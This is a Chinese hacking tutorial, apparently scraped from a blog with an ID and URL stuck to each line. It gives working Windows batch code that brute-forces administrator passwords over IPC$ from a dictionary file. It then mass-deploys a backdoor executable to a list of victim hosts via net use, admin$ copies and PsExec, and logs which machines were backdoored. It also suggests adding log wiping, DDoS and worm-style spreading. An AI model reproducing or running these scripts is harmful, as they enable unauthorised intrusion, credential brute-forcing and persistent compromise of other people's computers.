Cqhqsb http://blog.numino.net/
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－
Gf24aR http://blog.numino.net/
for /f i%% in (dict.txt) do net use \ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，这样就ko了。
VHk7zT http://blog.numino.net/
sample3：
a9DOkJ http://blog.numino.net/
你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。
wvcTw2 http://blog.numino.net/
主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）
m07Q6u http://blog.numino.net/
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
pPy5Xs http://blog.numino.net/
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
qYeAsI http://blog.numino.net/
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。
W13jJT http://blog.numino.net/
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。
28D60H http://blog.numino.net/
代码雏形：
713gRO http://blog.numino.net/
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
wGWpPl http://blog.numino.net/
@echo off
f43AS9 http://blog.numino.net/
@if "%1"=="" goto usage
7TgEEi http://blog.numino.net/
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
nm7AjI http://blog.numino.net/
@goto end
OAA1l6 http://blog.numino.net/
:usage
2RXKCJ http://blog.numino.net/
@echo run this batch in dos modle.or just double-click it.
oK5YWP http://blog.numino.net/
:end
C51uG3 http://blog.numino.net/
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
TPVsf1 http://blog.numino.net/
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
M8a2FC http://blog.numino.net/
@net use \%1\ipc$ %3 /u:"%2"
1Ab71w http://blog.numino.net/
@if errorlevel 1 goto failed
o5xIWJ http://blog.numino.net/
@echo Trying to establish the IPC$ connection …………OK
a14qFU http://blog.numino.net/
@copy windrv32.exe\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
hB4fXe http://blog.numino.net/
@pec \%1 c:\winnt\system32\windrv32.exe
D9gq37 http://blog.numino.net/
@p*ec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
NZnAIh http://blog.numino.net/
:failed
3R9ju5 http://blog.numino.net/
@echo Sorry can not connected to the victim.
MTcIlP http://blog.numino.net/
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
fdASD3 http://blog.numino.net/
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容
LadOn9 http://blog.numino.net/
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
|
|